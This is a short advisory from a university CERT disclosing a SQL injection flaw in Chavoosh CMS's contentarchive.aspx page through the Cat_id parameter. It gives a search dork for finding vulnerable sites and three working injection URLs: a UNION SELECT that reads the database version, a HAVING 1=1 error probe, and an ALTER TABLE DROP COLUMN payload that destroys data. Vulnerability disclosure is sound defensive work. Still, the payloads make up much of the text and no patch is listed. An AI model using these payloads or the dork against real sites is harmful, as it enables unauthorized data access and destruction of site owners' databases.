Chavoosh CMS SQL Injection

`================= IUT-CERT =================  
  
Title: Chavoosh CMS SQL Injection Vulnerability  
  
Vendor: www.chavoosh.com  
  
Dork: Design by chavoosh Co  
  
Type: Input.Validation.Vulnerability (SQL Injection)  
  
Fix: N/A  
  
================== nsec.ir =================  
  
Description:  
  
------------------  
  
Chavoosh is a CMS producer in Iran. “contentarchive.aspx” page in Chavoosh CMS  
  
product is vulnerable to SQL Injection vulnerability.  
  
Vulnerability Variant:  
  
------------------  
  
URI Injection "/contentarchive.aspx" in "Cat_id" parameter.  
  
http://example.com/content/contentarchive.aspx?Cat_id=82+UNION+SELECT+ @@version&Landir=rtl&Lan=Fa  
  
http://example.com/content/contentarchive.aspx?Cat_id=82+HAVING+1=1 &Landir=rtl&Lan=Fa  
  
http://example.com/content/contentarchive.aspx?Cat_id=82+ALTER+TABLE+contentcategory+DROP+COLUMN+category_name&Landir=rtl&Lan=Fa  
  
  
Solution:  
  
------------------  
  
Input validation of Parameter "Cat_id" should be corrected.  
  
Credit:  
  
------------------  
  
Isfahan University of Technology - Computer Emergency Response Team  
  
Thanks to : E. Jafari, N. Fathi, M. R. Faghani  
`